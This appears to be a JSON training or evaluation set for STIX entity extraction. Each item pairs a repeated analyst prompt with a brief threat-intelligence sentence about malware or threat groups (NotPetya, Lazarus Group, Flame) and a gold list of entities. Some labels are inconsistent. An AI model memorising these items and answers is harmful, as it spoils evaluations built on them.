    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDoki has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.\n",
    "output": "<entities>Doki|DynDNS|C2|Dogecoin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nWastedLocker can execute itself as a service.\n",
    "output": "<entities>WastedLocker</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNotPetya can use wmic to help propagate itself across a network.\n",
    "output": "<entities>NotPetya|wmic</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nROKRAT has the ability to gather a list of files and directories on the infected system.\n",
    "output": "<entities>ROKRAT</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPS1 is distributed as a set of encrypted files and scripts.\n",
    "output": "<entities>PS1</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPoisonIvy is a popular remote access tool (RAT) that has been used by many groups. \n",
    "output": "<entities>PoisonIvy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTorisma is a second stage implant designed for specialized monitoring that has been used by Lazarus Group. Torisma was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.\n",
    "output": "<entities>Torisma|Lazarus Group|2020 Operation North Star</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRotaJakiro is a 64-bit Linux backdoor used by APT32. First seen in 2018, it uses a plugin architecture to extend capabilities. RotaJakiro can determine it's permission level and execute according to access type (`root` or `user`).\n",
    "output": "<entities>RotaJakiro|APT32|Linux</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBUSHWALK is a web shell written in Perl that was inserted into the legitimate querymanifest.cgi file on compromised Ivanti Connect Secure VPNs during Cutting Edge.\n",
    "output": "<entities>BUSHWALK|Ivanti Connect Secure VPNs|Cutting Edge|querymanifest.cgi|Perl</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShamoon copies an executable payload to the target system by using SMB/Windows Admin Shares and then scheduling an unnamed task to execute the malware.\n",
    "output": "<entities>Shamoon|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nThe CALENDAR malware communicates through the use of events in Google Calendar.\n",
    "output": "<entities>Google Calendar|CALENDAR</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nKEYPLUG is a modular backdoor written in C++, with Windows and Linux variants, that has been used by APT41 since at least June 2021.\n",
    "output": "<entities>KEYPLUG|APT41|Windows|Linux|C++</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPandora is a multistage kernel rootkit with backdoor functionality that has been in use by Threat Group-3390 since at least 2020.\n",
    "output": "<entities>Threat Group-3390|Pandora</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTriton Safety Instrumented System Attack was a campaign employed by TEMP.Veles which leveraged the Triton malware framework against a petrochemical organization.\n",
    "output": "<entities>Triton Safety Instrumented System Attack|TEMP.Veles|Triton</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMimiPenguin can dump process memory and extract clear-text credentials.\n",
    "output": "<entities>MimiPenguin</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMoonWind obtains the victim's current time.\n",
    "output": "<entities>MoonWind</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRising Sun used dynamic API resolutions to various Windows APIs by leveraging LoadLibrary() and GetProcAddress().\n",
    "output": "<entities>Rising Sun|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFlame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.\n",
    "output": "<entities>Flame|MS10-061</entities>"
  },
  {
